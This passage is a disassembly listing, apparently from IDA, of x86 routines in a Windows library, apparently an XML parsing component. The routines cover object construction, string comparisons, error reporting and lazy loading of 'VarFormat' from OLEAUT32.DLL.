loc_69B6F919: ; CODE XREF: sub_69B6F8EA+1Ej
mov ecx, [edi]
lea eax, [ebx+ebx]
push eax
call sub_69B6EC46
push eax
push edi
call sub_69B17320
loc_69B6F92B: ; CODE XREF: sub_69B6F8EA+13j
movsx eax, word ptr [esi+32h]
mov ecx, [edi]
push eax
call sub_69B6B88B
mov edi, eax
movsx eax, word ptr [esi+32h]
lea ebx, [esi+44h]
push dword ptr [ebx]
mov ecx, edi
push eax
push [esp+14h+arg_0]
lea eax, [esi+10h]
push eax
call sub_69B7150E
inc word ptr [esi+32h]
push 0
push ebx
mov [esi+28h], edi
call sub_69B17320
push [esp+0Ch+arg_4]
mov ecx, esi
call sub_69B6F131
mov eax, [esp+0Ch+arg_8]
mov [edi+18h], eax
pop edi
pop esi
pop ebx
retn 0Ch
sub_69B6F8EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6F979 proc near ; CODE XREF: sub_69B7577A+3Bp
; sub_69B75DD2+47p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, ecx
mov eax, [esi+28h]
xor ebx, ebx
cmp [ebp+arg_0], 0FFFFFFFFh
push edi
mov edi, [eax+18h]
mov [ebp+var_8], ebx
mov [ebp+var_1], bl
jnz loc_69B6FA24
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+44h]
cmp dword ptr [esi+0A8h], 2
mov [ebp+arg_0], eax
jz short loc_69B6F9FD
sub eax, ebx
mov [ebp+var_1], 1
jz short loc_69B6F9F7
sub eax, 3
jz short loc_69B6F9F7
dec eax
jz loc_69B6FAA7
dec eax
jz short loc_69B6F9E9
dec eax
jz short loc_69B6F9E0
sub eax, 0Bh
jz short loc_69B6F9F7
loc_69B6F9CE: ; CODE XREF: sub_69B6F979+6Ej
; sub_69B6F979+77j ...
mov eax, [edi]
push 1
push ebx
mov ecx, edi
call dword ptr [eax+4Ch]
mov [ebp+var_8], eax
loc_69B6F9DB: ; CODE XREF: sub_69B6F979+82j
; sub_69B6F979+86j ...
mov eax, [edi+8]
jmp short loc_69B6FA30
; ---------------------------------------------------------------------------
loc_69B6F9E0: ; CODE XREF: sub_69B6F979+4Ej
mov [ebp+arg_0], 1
jmp short loc_69B6F9CE
; ---------------------------------------------------------------------------
loc_69B6F9E9: ; CODE XREF: sub_69B6F979+4Bj
mov al, [edi+0Bh]
and al, 1Fh
cmp al, 12h
jnz short loc_69B6F9CE
jmp loc_69B6FAA7
; ---------------------------------------------------------------------------
loc_69B6F9F7: ; CODE XREF: sub_69B6F979+3Cj
; sub_69B6F979+41j ...
mov [ebp+var_1], 0
jmp short loc_69B6F9DB
; ---------------------------------------------------------------------------
loc_69B6F9FD: ; CODE XREF: sub_69B6F979+34j
cmp eax, ebx
jle short loc_69B6F9DB
cmp eax, 2
jle short loc_69B6F9CE
cmp eax, 5
jz short loc_69B6FA12
cmp eax, 6
jz short loc_69B6F9CE
jmp short loc_69B6F9DB
; ---------------------------------------------------------------------------
loc_69B6FA12: ; CODE XREF: sub_69B6F979+90j
mov cl, [edi+0Bh]
push 12h
and cl, 1Fh
pop eax
cmp cl, al
jnz short loc_69B6F9CE
mov [ebp+arg_0], eax
jmp short loc_69B6F9DB
; ---------------------------------------------------------------------------
loc_69B6FA24: ; CODE XREF: sub_69B6F979+1Dj
mov eax, [esi+20h]
mov eax, [eax+8]
mov eax, [eax+0Ch]
mov eax, [eax+8]
loc_69B6FA30: ; CODE XREF: sub_69B6F979+65j
mov ebx, [ebp+arg_4]
shr eax, 15h
and al, 1
cmp [ebp+arg_0], 1
mov byte ptr [ebp+var_C], al
jz short loc_69B6FA66
test ebx, ebx
jnz short loc_69B6FA55
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+3Ch]
mov ebx, eax
test ebx, ebx
jnz short loc_69B6FA55
mov ebx, [esi+6Ch]
loc_69B6FA55: ; CODE XREF: sub_69B6F979+CAj
; sub_69B6F979+D7j
push [ebp+var_C]
mov ecx, esi
push [ebp+arg_8]
push ebx
push [ebp+arg_0]
call sub_69B6E648
loc_69B6FA66: ; CODE XREF: sub_69B6F979+C6j
mov eax, [esi+20h]
mov ecx, [ebp+arg_0]
inc ecx
mov [eax+10h], ebx
mov eax, [esi+20h]
shl ecx, 4
xor ecx, [eax+18h]
and ecx, 1F0h
xor [eax+18h], ecx
cmp [ebp+var_8], 0
jz short loc_69B6FA97
push 0
push [ebp+arg_C]
mov ecx, esi
push [ebp+var_8]
call sub_69B6E79D
loc_69B6FA97: ; CODE XREF: sub_69B6F979+10Dj
cmp [ebp+var_1], 0
jz short loc_69B6FAAB
push [ebp+arg_C]
mov ecx, esi
call sub_69B6F28B
loc_69B6FAA7: ; CODE XREF: sub_69B6F979+44j
; sub_69B6F979+79j
xor al, al
jmp short loc_69B6FAB7
; ---------------------------------------------------------------------------
loc_69B6FAAB: ; CODE XREF: sub_69B6F979+122j
mov eax, [esi+20h]
mov dword ptr [eax+0Ch], 1
mov al, 1
loc_69B6FAB7: ; CODE XREF: sub_69B6F979+130j
pop edi
pop esi
pop ebx
leave
retn 10h
sub_69B6F979 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6FABE proc near ; CODE XREF: sub_69B46CA6+68p
; sub_69B6FBE1+61p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
push [ebp+arg_4]
mov esi, ecx
or dword ptr [esi+58h], 10h
lea eax, [esi+34h]
push eax
call sub_69B17320
lea ebx, [esi+24h]
xor edi, edi
cmp [ebx], edi
jnz short loc_69B6FB08
push 390h
call sub_69B17EF3
mov edi, eax
mov ecx, edi
mov dword ptr [edi+8], 20h
call sub_69B19118
push edi
push ebx
mov dword ptr [edi], offset off_69B14078
call sub_69B17320
xor edi, edi
loc_69B6FB08: ; CODE XREF: sub_69B6FABE+1Fj
lea ebx, [esi+2Ch]
cmp [ebx], edi
jnz short loc_69B6FB38
push 390h
call sub_69B17EF3
mov edi, eax
mov ecx, edi
mov dword ptr [edi+8], 20h
call sub_69B19118
push edi
push ebx
mov dword ptr [edi], offset off_69B140B8
call sub_69B17320
xor edi, edi
loc_69B6FB38: ; CODE XREF: sub_69B6FABE+4Fj
mov ebx, [ebp+arg_0]
cmp ebx, edi
mov [esi+32h], di
mov [esi+30h], di
jz short loc_69B6FB80
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+0B4h]
push ebx
push edi
push edi
push edi
mov [esi+18h], eax
call sub_69B72910
push eax
mov ecx, esi
call sub_69B6F8EA
push dword ptr [esi+0A4h]
mov ecx, esi
push edi
push edi
call sub_69B6F0B5
push esi
lea ecx, [esi+8Ch]
call sub_69B70D5C
loc_69B6FB80: ; CODE XREF: sub_69B6FABE+87j
mov eax, [ebp+arg_C]
cmp eax, edi
mov [esi+40h], eax
jz short loc_69B6FB9F
cmp dword ptr [esi+0A8h], 2
jz short loc_69B6FB9F
push eax
lea ecx, [esi+8Ch]
call sub_69B70CB0
loc_69B6FB9F: ; CODE XREF: sub_69B6FABE+CAj
; sub_69B6FABE+D3j
cmp [ebp+arg_8], edi
jz short loc_69B6FBDA
cmp dword ptr [esi+0A8h], 2
jz short loc_69B6FBDA
push edi
push [ebp+arg_8]
mov ecx, esi
call sub_69B6E94F
push eax
lea edi, [esi+44h]
push edi
call sub_69B17320
cmp dword ptr [edi], 0
jnz short loc_69B6FBDA
push 0
push [ebp+arg_8]
mov ecx, esi
call sub_69B6F3D1
push eax
push edi
call sub_69B17320
loc_69B6FBDA: ; CODE XREF: sub_69B6FABE+E4j
; sub_69B6FABE+EDj ...
pop edi
pop esi
pop ebx
pop ebp
retn 10h
sub_69B6FABE endp
; =============== S U B R O U T I N E =======================================
sub_69B6FBE1 proc near ; CODE XREF: sub_69B42B4C+8Dp
; sub_69B4311C+106p
push 24h
push offset dword_69B6FCB8
call sub_69B19C5C
xor ebx, ebx
push ebx
lea ecx, [ebp-24h]
call sub_69B11D3B
call sub_69B6F741
mov edi, eax
mov [ebp-28h], edi
lea ecx, [ebp-2Ch]
call sub_69B47D22
mov [ebp-4], ebx
push dword ptr [ebp+8]
call sub_69B48A77
mov [ebp-30h], eax
push dword ptr [ebp+0Ch]
call sub_69B48A77
mov esi, eax
mov [ebp-34h], esi
push dword ptr [ebp-30h]
mov ecx, edi
call sub_69B6EDDE
push ebx
push ebx
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
mov ecx, edi
call sub_69B6E61A
push eax
push esi
mov ecx, edi
call sub_69B6FABE
cmp esi, ebx
jz short loc_69B6FC64
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
mov ecx, eax
call sub_69B6F644
push eax
mov ecx, edi
call sub_69B6ECA6
loc_69B6FC64: ; CODE XREF: sub_69B6FBE1+68j
mov ecx, edi
call sub_69B6EF3C
jmp short loc_69B6FC97
; ---------------------------------------------------------------------------
loc_69B6FC6D: ; DATA XREF: .text:69B6FCBCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B6FC76: ; DATA XREF: .text:69B6FCC0o
mov esp, [ebp-18h]
lea ecx, [ebp-2Ch]
call sub_69B47D46
call sub_69B2E808
mov esi, eax
mov ecx, [ebp-28h]
call sub_69B6ED05
mov ecx, esi
call sub_69B2E875
loc_69B6FC97: ; CODE XREF: sub_69B6FBE1+8Aj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B47D46
lea ecx, [ebp-24h]
call sub_69B1976C
call sub_69B1853C
retn 10h
sub_69B6FBE1 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B6FCB8 dd 0FFFFFFFFh dd offset loc_69B6FC6D
dd offset loc_69B6FC76
; ---------------------------------------------------------------------------
loc_69B6FCC4: ; DATA XREF: .text:69B1860Co
push 0Ch
push offset dword_69B6FD40
call sub_69B19C5C
xor edi, edi
mov [ebp-4], edi
mov esi, [ebp+8]
add esi, 0FFFFFFF4h
push dword ptr [ebp+0Ch]
call sub_69B48A77
push eax
mov ecx, esi
call sub_69B6EDDE
push edi
push edi
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
mov ecx, esi
call sub_69B6E61A
push eax
push dword ptr [ebp+10h]
call sub_69B48A77
push eax
mov ecx, esi
call sub_69B6FABE
xor eax, eax
mov [ebp-1Ch], eax
jmp short loc_69B6FD30
; ---------------------------------------------------------------------------
loc_69B6FD12: ; DATA XREF: .text:69B6FD44o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B6FD1B: ; DATA XREF: .text:69B6FD48o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B6FD30: ; CODE XREF: .text:69B6FD10j
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B1853C
retn 14h
; ---------------------------------------------------------------------------
align 10h
dword_69B6FD40 dd 0FFFFFFFFh dd offset loc_69B6FD12
dd offset loc_69B6FD1B
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B6FD4C(LPCSTR lpProcName)
sub_69B6FD4C proc near ; CODE XREF: sub_69B6FDE2+11p
lpProcName = dword ptr 4
cmp dword_69B9B660, 0
push ebx
mov ebx, ds:LeaveCriticalSection
push esi
push edi
mov edi, ds:EnterCriticalSection
mov esi, offset stru_69B9B644
jnz short loc_69B6FDA2
cmp dword_69B9B664, 0
jnz short loc_69B6FD83
push esi ; lpCriticalSection
call ds:InitializeCriticalSection ; InitializeCriticalSection
mov dword_69B9B664, 1
loc_69B6FD83: ; CODE XREF: sub_69B6FD4C+24j
push esi ; lpCriticalSection
call edi ; EnterCriticalSection
push offset aOleaut32_dll_0 ; "OLEAUT32.DLL"
call ds:SHLWAPI_83
push esi ; lpCriticalSection
mov dword_69B9B660, eax
call ebx ; LeaveCriticalSection
cmp dword_69B9B660, 0
jz short loc_69B6FDBC
loc_69B6FDA2: ; CODE XREF: sub_69B6FD4C+1Bj
push esi ; lpCriticalSection
call edi ; EnterCriticalSection
push [esp+0Ch+lpProcName] ; lpProcName
push dword_69B9B660 ; hModule
call ds:GetProcAddress ; GetProcAddress
push esi ; lpCriticalSection
mov edi, eax
call ebx ; LeaveCriticalSection
jmp short loc_69B6FDBE
; ---------------------------------------------------------------------------
loc_69B6FDBC: ; CODE XREF: sub_69B6FD4C+54j
xor edi, edi
loc_69B6FDBE: ; CODE XREF: sub_69B6FD4C+6Ej
mov eax, edi
pop edi
pop esi
pop ebx
retn 4
sub_69B6FD4C endp
; ---------------------------------------------------------------------------
align 4
aOleaut32_dll_0: ; DATA XREF: sub_69B6FD4C+3Ao
unicode 0, <OLEAUT32.DLL>,0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6FDE2 proc near ; CODE XREF: sub_69B6699A+1BEp
; sub_69B74549+2Fp
push ebp
mov ebp, esp
mov eax, dword_69B9B65C
test eax, eax
jnz short loc_69B6FE0A
push offset aVarformat ; "VarFormat"
call sub_69B6FD4C
test eax, eax
mov dword_69B9B65C, eax
jnz short loc_69B6FE0A
mov eax, 80004005h
pop ebp
retn 18h
; ---------------------------------------------------------------------------
loc_69B6FE0A: ; CODE XREF: sub_69B6FDE2+Aj
; sub_69B6FDE2+1Dj
pop ebp
jmp eax
sub_69B6FDE2 endp
; ---------------------------------------------------------------------------
align 10h
; char aVarformat[]
aVarformat db 'VarFormat',0 ; DATA XREF: sub_69B6FDE2+Co
; =============== S U B R O U T I N E =======================================
sub_69B6FE1A proc near ; CODE XREF: sub_69B6FED3+26p
; sub_69B70274+39p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+3Ch]
test eax, eax
mov ecx, esi
jz short loc_69B6FE44
push eax
mov eax, [esi]
call dword ptr [eax+44h]
push eax
call sub_69B47CF1
push eax
push [esp+0Ch+arg_0]
push 0C00CE30Bh
jmp short loc_69B6FE5B
; ---------------------------------------------------------------------------
loc_69B6FE44: ; CODE XREF: sub_69B6FE1A+10j
mov eax, [esi]
push 0
call dword ptr [eax+44h]
push eax
call sub_69B47CF1
push eax
push [esp+0Ch+arg_0]
push 0C00CE325h
loc_69B6FE5B: ; CODE XREF: sub_69B6FE1A+28j
call sub_69B6E277
pop esi
retn 8
sub_69B6FE1A endp
; =============== S U B R O U T I N E =======================================
sub_69B6FE64 proc near ; CODE XREF: sub_69B70EC9+B8p
; sub_69B73A84+84p
arg_0 = dword ptr 4
push esi
push edi
push 100h
call sub_69B88D8C
mov esi, [esp+8+arg_0]
mov edi, eax
mov eax, [esi+4]
test eax, eax
jz short loc_69B6FE8E
push eax ; lpString
mov ecx, edi
call sub_69B88E04
push 0Ah
mov ecx, edi
call sub_69B88E7C
loc_69B6FE8E: ; CODE XREF: sub_69B6FE64+17j
mov esi, [esi+8]
test esi, esi
jz short loc_69B6FE9D
push esi ; lpString
mov ecx, edi
call sub_69B88E04
loc_69B6FE9D: ; CODE XREF: sub_69B6FE64+2Fj
mov eax, edi
pop edi
pop esi
retn 4
sub_69B6FE64 endp
; =============== S U B R O U T I N E =======================================
sub_69B6FEA4 proc near ; CODE XREF: sub_69B7267F+18p
; sub_69B7267F+13Bp
push esi
push edi
mov esi, ecx
jmp short loc_69B6FEC4
; ---------------------------------------------------------------------------
loc_69B6FEAA: ; CODE XREF: sub_69B6FEA4+24j
mov ecx, [esi+4]
mov eax, [ecx]
mov edi, [esi+8]
push esi
call dword ptr [eax+6Ch]
mov [esi+8], eax
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+44h]
test eax, eax
jz short loc_69B6FECF
loc_69B6FEC4: ; CODE XREF: sub_69B6FEA4+4j
cmp dword ptr [esi+8], 0
jnz short loc_69B6FEAA
xor eax, eax
loc_69B6FECC: ; CODE XREF: sub_69B6FEA4+2Dj
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B6FECF: ; CODE XREF: sub_69B6FEA4+1Ej
mov eax, edi
jmp short loc_69B6FECC
sub_69B6FEA4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6FED3 proc near ; CODE XREF: sub_69B701AA+80p
; sub_69B727D0+41p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+74h]
test al, al
jz short loc_69B6FEFE
mov eax, [esi]
lea ecx, [ebp+arg_0]
push ecx
mov ecx, esi
call dword ptr [eax+68h]
push eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+3Ch]
push eax
call sub_69B6FE1A
loc_69B6FEFE: ; CODE XREF: sub_69B6FED3+10j
pop esi
pop ebp
retn 4
sub_69B6FED3 endp
; =============== S U B R O U T I N E =======================================
sub_69B6FF03 proc near ; CODE XREF: sub_69B6BCF3+7Dp
; sub_69B73101+C2p
arg_0 = dword ptr 4
push off_69B9A438 ; lpString
mov ecx, [esp+4+arg_0]
call sub_69B2EF04
test al, al
jz short loc_69B6FF1A
mov al, 1
jmp short locret_69B6FF5C
; ---------------------------------------------------------------------------
loc_69B6FF1A: ; CODE XREF: sub_69B6FF03+11j
push off_69B9A434 ; lpString
mov ecx, [esp+4+arg_0]
call sub_69B2EF04
test al, al
jnz short loc_69B6FF5A
mov eax, dword_69B9B4B0
push esi
push off_69B9A438 ; lpString
mov esi, [eax+14h]
call sub_69B1A587
push eax
push off_69B9A434 ; lpString
call sub_69B1A587
push eax
push esi
push 0C00CE30Dh
call sub_69B6E277
pop esi
loc_69B6FF5A: ; CODE XREF: sub_69B6FF03+28j
xor al, al
locret_69B6FF5C: ; CODE XREF: sub_69B6FF03+15j
retn 4
sub_69B6FF03 endp
; =============== S U B R O U T I N E =======================================
sub_69B6FF5F proc near ; CODE XREF: sub_69B701AA+6Fp
; sub_69B759A1+1Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_4], 0
jz short loc_69B6FFBC
push off_69B9A42C ; lpString
mov ecx, [esp+4+arg_4]
call sub_69B2EF04
test al, al
jz short loc_69B6FF7D
mov al, 1
jmp short locret_69B6FFBE
; ---------------------------------------------------------------------------
loc_69B6FF7D: ; CODE XREF: sub_69B6FF5F+18j
push off_69B9A430 ; lpString
mov ecx, [esp+4+arg_4]
call sub_69B2EF04
test al, al
jnz short loc_69B6FFBC
mov eax, [esp+arg_0]
push esi
push off_69B9A430 ; lpString
mov esi, [eax+14h]
call sub_69B1A587
push eax
push off_69B9A42C ; lpString
call sub_69B1A587
push eax
push esi
push 0C00CE30Dh
call sub_69B6E277
pop esi
loc_69B6FFBC: ; CODE XREF: sub_69B6FF5F+5j
; sub_69B6FF5F+2Fj
xor al, al
locret_69B6FFBE: ; CODE XREF: sub_69B6FF5F+1Cj
retn 8
sub_69B6FF5F endp
; =============== S U B R O U T I N E =======================================
sub_69B6FFC1 proc near ; CODE XREF: sub_69B6BCF3+BFp
; sub_69B73101+FBp
arg_0 = dword ptr 4
push off_69B9A43C ; lpString
mov ecx, [esp+4+arg_0]
call sub_69B2EF04
test al, al
jz short loc_69B6FFD8
push 5
jmp short loc_69B6FFED
; ---------------------------------------------------------------------------
loc_69B6FFD8: ; CODE XREF: sub_69B6FFC1+11j
push off_69B9A440 ; lpString
mov ecx, [esp+4+arg_0]
call sub_69B2EF04
test al, al
jz short loc_69B6FFF0
push 3
loc_69B6FFED: ; CODE XREF: sub_69B6FFC1+15j
pop eax
jmp short locret_69B7001F
; ---------------------------------------------------------------------------
loc_69B6FFF0: ; CODE XREF: sub_69B6FFC1+28j
mov eax, dword_69B9B4A8
push esi
push off_69B9A440 ; lpString
mov esi, [eax+14h]
call sub_69B1A587
push eax
push off_69B9A43C ; lpString
call sub_69B1A587
push eax
push esi
push 0C00CE30Dh
call sub_69B6E277
xor eax, eax
pop esi
locret_69B7001F: ; CODE XREF: sub_69B6FFC1+2Dj
retn 4
sub_69B6FFC1 endp
; =============== S U B R O U T I N E =======================================
sub_69B70022 proc near ; CODE XREF: sub_69B70050+7p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B2DC24
mov dword ptr [esi], offset off_69B18670
mov dword ptr [esi+8], 1
mov eax, esi
pop esi
retn 4
sub_69B70022 endp
; =============== S U B R O U T I N E =======================================
sub_69B70041 proc near ; DATA XREF: .text:69B1415Co
; .text:69B162BCo
mov eax, offset off_69B70048
retn
sub_69B70041 endp
; ---------------------------------------------------------------------------
align 4
off_69B70048 dd offset off_69B2A4F4 ; DATA XREF: sub_69B70041o
dd offset sub_69B700FA
; =============== S U B R O U T I N E =======================================
sub_69B70050 proc near ; CODE XREF: sub_69B700D2+7p
; sub_69B72446+7p ...
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B70022
mov dword ptr [esi], offset off_69B140F8
mov eax, esi
pop esi
retn 4
sub_69B70050 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B70068 proc near ; CODE XREF: sub_69B70163+18p
; sub_69B755ED+18p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
mov esi, ecx
mov ebx, [esi+14h]
add edi, 10h
mov eax, [edi]
push 0FFFFFFFFh
push 0
mov ecx, edi
call dword ptr [eax+4]
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
mov eax, [eax+28h]
mov eax, [eax+18h]
mov [ebp+arg_0], eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
test al, al
jz short loc_69B700A9
mov ecx, [esi+14h]
mov eax, [ecx]
call dword ptr [eax+28h]
mov ebx, eax
loc_69B700A9: ; CODE XREF: sub_69B70068+35j
test ebx, ebx
jz short loc_69B700C0
push [ebp+arg_4]
mov eax, [ebx]
push [ebp+arg_0]
mov ecx, ebx
push [ebp+var_4]
push edi
call dword ptr [eax+54h]
jmp short loc_69B700CB
; ---------------------------------------------------------------------------
loc_69B700C0: ; CODE XREF: sub_69B70068+43j
push [ebp+var_4]
mov ecx, [ebp+arg_4]
call sub_69B64115
loc_69B700CB: ; CODE XREF: sub_69B70068+56j
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B70068 endp
; =============== S U B R O U T I N E =======================================
sub_69B700D2 proc near ; CODE XREF: sub_69B700FA+Fp
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B70050
mov dword ptr [esi], offset off_69B14140
and dword ptr [esi+14h], 0
mov eax, esi
pop esi
retn 4
sub_69B700D2 endp
; =============== S U B R O U T I N E =======================================
sub_69B700EE proc near ; DATA XREF: .text:69B14180o
; .text:69B162E0o
xor eax, eax
cmp ecx, dword_69B9B668
setz al
retn
sub_69B700EE endp
; =============== S U B R O U T I N E =======================================
sub_69B700FA proc near ; DATA XREF: .text:69B7004Co
push 1Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B7010F
push 0
mov ecx, eax
call sub_69B700D2
retn
; ---------------------------------------------------------------------------
loc_69B7010F: ; CODE XREF: sub_69B700FA+9j
xor eax, eax
retn
sub_69B700FA endp
; =============== S U B R O U T I N E =======================================
sub_69B70112 proc near ; CODE XREF: sub_69B755D6-5F349p
; sub_69B70235+Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B72FBE
push [esp+4+arg_4]
lea eax, [esi+14h]
mov dword ptr [esi], offset off_69B14140
and dword ptr [eax], 0
push eax
call sub_69B17320
mov eax, esi
pop esi
retn 8
sub_69B70112 endp
; =============== S U B R O U T I N E =======================================
sub_69B7013A proc near ; DATA XREF: .text:69B14168o
; .text:69B162C8o
push esi
push edi
mov esi, ecx
call sub_69B72FE6
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+10h]
mov edi, eax
lea eax, [esi+14h]
push eax
lea ecx, [edi+14h]
call sub_69B4D414
mov al, [esi+18h]
mov [edi+18h], al
mov eax, edi
pop edi
pop esi
retn
sub_69B7013A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B70163 proc near ; DATA XREF: .text:69B14178o
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
and [ebp+var_10], 0
push esi
lea eax, [ebp+var_10]
push eax
push [ebp+arg_4]
mov esi, ecx
mov [ebp+var_C], 0
call sub_69B70068
mov ecx, [ebp+arg_4]
xor eax, eax
mov al, [esi+18h]
push eax
mov eax, [esi+10h]
shr eax, 1
and eax, 0FFFFFF01h
push eax
lea eax, [ebp+var_10]
push eax
call sub_69B6E85D
lea ecx, [ebp+var_10]
call sub_69B466CC
pop esi
leave
retn 8
sub_69B70163 endp
; =============== S U B R O U T I N E =======================================
sub_69B701AA proc near ; DATA XREF: .text:69B1417Co
; .text:69B162DCo
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push esi
push edi
push 8
push dword_69B9B508
mov esi, ecx
mov eax, [esi+0Ch]
push eax
mov ecx, ebx
call sub_69B6EA8E
push eax
lea edi, [esi+14h]
push edi
call sub_69B17320
mov ecx, [esi+0Ch]
mov eax, [ecx]
call dword ptr [eax+38h]
mov eax, [eax+14h]
cmp eax, dword_69B9B5D0
jnz short loc_69B70223
cmp dword ptr [ebx+0A8h], 2
jz short loc_69B70223
xor eax, eax
cmp [edi], eax
jnz short loc_69B70204
push eax
push eax
push dword_69B9B508
push 0C00CE020h
call sub_69B6E277
loc_69B70204: ; CODE XREF: sub_69B701AA+46j
mov eax, dword_69B9B4B8
mov ecx, [esi+0Ch]
mov edx, [ecx]
push eax
mov edi, eax
call dword ptr [edx+0A4h]
push eax
push edi
call sub_69B6FF5F
mov [esi+18h], al
jmp short loc_69B70227
; ---------------------------------------------------------------------------
loc_69B70223: ; CODE XREF: sub_69B701AA+37j
; sub_69B701AA+40j
mov byte ptr [esi+18h], 0
loc_69B70227: ; CODE XREF: sub_69B701AA+77j
push dword ptr [esi+0Ch]
call sub_69B6FED3
pop edi
pop esi
pop ebx
retn 8
sub_69B701AA endp
; =============== S U B R O U T I N E =======================================
sub_69B70235 proc near ; CODE XREF: sub_69B7024C+17p
; sub_69B7298C+CAp ...
push 1Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B70247
mov ecx, eax
jmp sub_69B70112
; ---------------------------------------------------------------------------
loc_69B70247: ; CODE XREF: sub_69B70235+9j
xor eax, eax
retn 8
sub_69B70235 endp
; =============== S U B R O U T I N E =======================================
sub_69B7024C proc near ; CODE XREF: sub_69B6DF3C+11Cp
push 0
push 0
call sub_69B67D20
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push 0
call sub_69B70235
push eax ; Value
mov ecx, offset dword_69B9B668 ; Target
call sub_69B188DC
retn
sub_69B7024C endp
; =============== S U B R O U T I N E =======================================
sub_69B70274 proc near ; DATA XREF: .text:69B21D40o
; .text:69B21DC0o
arg_4 = dword ptr 8
arg_C = dword ptr 10h
push esi
mov esi, [esp+4+arg_4]
mov eax, [esi]
push edi
mov edi, ecx
mov ecx, esi
call dword ptr [eax+44h]
dec eax
jz short loc_69B70291
dec eax
jz short loc_69B702B2
sub eax, 3
jz short loc_69B702B2
dec eax
jnz short loc_69B702A3
loc_69B70291: ; CODE XREF: sub_69B70274+10j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+50h]
mov ecx, eax
call sub_69B2EF67
test al, al
jnz short loc_69B702B2
loc_69B702A3: ; CODE XREF: sub_69B70274+1Bj
mov ecx, [edi+0Ch]
mov eax, [ecx]
push esi
call dword ptr [eax+3Ch]
push eax
call sub_69B6FE1A
loc_69B702B2: ; CODE XREF: sub_69B70274+13j
; sub_69B70274+18j ...
mov eax, [esp+8+arg_C]
pop edi
pop esi
retn 10h
sub_69B70274 endp
; =============== S U B R O U T I N E =======================================
sub_69B702BB proc near ; DATA XREF: .text:69B21DA0o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push ebx
push ebp
xor ebx, ebx
sub eax, ebx
push esi
mov esi, [esp+0Ch+arg_4]
mov ebp, ecx
jz short loc_69B70323
dec eax
dec eax
jz short loc_69B7032C
dec eax
jnz short loc_69B7031D
loc_69B702D5: ; CODE XREF: sub_69B702BB+74j
mov eax, [esi+28h]
cmp [eax+0Ch], ebx
jnz short loc_69B70304
push edi
push ebx
push 0FFFFFFFFh
mov ecx, esi
call sub_69B6E571
mov edi, eax
mov eax, [edi]
push ebx
push ebx
mov ecx, edi
call dword ptr [eax]
push eax
push edi
mov ecx, ebp
call sub_69B73094
push eax
mov ecx, esi
call sub_69B6F131
pop edi
loc_69B70304: ; CODE XREF: sub_69B702BB+20j
push ebx
push 1
push 2
loc_69B70309: ; CODE XREF: sub_69B702BB+79j
mov ecx, esi
call sub_69B6F0B5
cmp eax, 1
jnz short loc_69B7031D
push esi
mov ecx, ebp
call sub_69B725AD
loc_69B7031D: ; CODE XREF: sub_69B702BB+18j
; sub_69B702BB+58j
pop esi
pop ebp
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_69B70323: ; CODE XREF: sub_69B702BB+11j
push ebx
push esi
mov ecx, ebp
call sub_69B72316
